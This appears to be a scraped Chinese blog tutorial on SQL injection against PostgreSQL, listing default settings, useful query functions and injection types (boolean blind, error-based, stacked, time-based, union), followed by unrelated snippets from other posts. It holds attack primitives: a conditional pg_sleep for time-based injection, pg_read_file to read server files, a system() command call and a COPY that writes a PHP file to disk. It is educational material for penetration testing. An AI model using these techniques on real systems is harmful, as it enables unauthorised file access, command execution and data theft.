PostgreSQL資料庫的注入

2021-10-06 13:57:33 字數 3106 閱讀 3476

目錄

postgresql

postgresql常用查詢命令

布林盲注

錯誤注入

堆疊注入

時間盲注

聯合查詢

postgresql是一種特性非常齊全的自由軟體的物件-關係型資料庫管理系統(ordbms),4.2版本為基礎的物件關係型資料庫管理系統。

postgresql安裝後,預設的埠是:5432,預設的使用者名稱是: postgres ,預設的資料庫也是:postgres 。注釋符:--              延時函式:pg_sleep(3)

postgresql和mysql一樣,也有 information_schema 資料庫。

postgresql安裝後預設是不允許其他主機連線的,如果要讓其他主機連線,找到postgresql安裝目錄下的/data/pg_hba.conf, 找到「# ipv4 local connections:」,然後在下面新增你的ip位址

select current_schema()           #檢視當前許可權

select

user #檢視使用者

select

current_user #檢視當前使用者

select

chr(

97) #將

ascii碼轉為字元

select

chr(

97)||

chr(

100)||

chr(

109)||

chr(

105)||

chr(

110) #將

ascii轉換為字串

select

session_user;

select usename

from pg_user;

select getpgusername();

select

version() #檢視postgresql資料庫版本

select current_database() #檢視當前資料庫

select

length(

'admin') #檢視長度

select

case

when(expr1)

then result1

else result2

end; #如果xx,執行result1,否則result2

例:select

case

when(

current_user=

'postgres')

then pg_sleep(

5) else pg_sleep(

0) end;

select pg_read_file(filepath+filename); #讀取檔案

select

system(

"comamnd_string"); #執行系統命令

copy (

select

'<?php phpinfo();?>')

to'/tmp/1.php'; #寫入檔案

報錯注入需要目標**開啟了報錯提示。

和mysql的堆疊注入一樣,在後面加上查詢語句即可。

by3#檢視顯示列

select

null,

null,函式

然後接下來就是和mysql注入一樣了,關於postgresql的語句可以檢視sqlmap

更多語句檢視sqlmap

目錄

PostgreSQL 資料庫的命令

系統命令行視窗 查詢退出 q 備註root izuf624rjpfgj95cg9aw9fz su postgres postgres izuf624rjpfgj95cg9aw9fz postgres izuf624rjpfgj95cg9aw9fz psql postgres postgres l p...

postgresql模板資料庫

template0和template1為postgresql資料庫的模板資料庫,新建的資料庫預設使用template1作為模板。template0和template1的區別在於template0無法修改,因此你可以修改template1資料庫以定製新建立的資料庫。template資料庫無法被刪除 d...

postgresql資料庫安裝

安裝並初始化 1 解壓資料庫並放到指定目錄 在opt目錄下 tar xvzf postgresql 10.1 1 linux x64 binaries.tar.gz 解壓出來之後目錄為pgsql 2 mv pgsql usr local pgsql 3 建立pgsql使用者並設定密碼 useradd...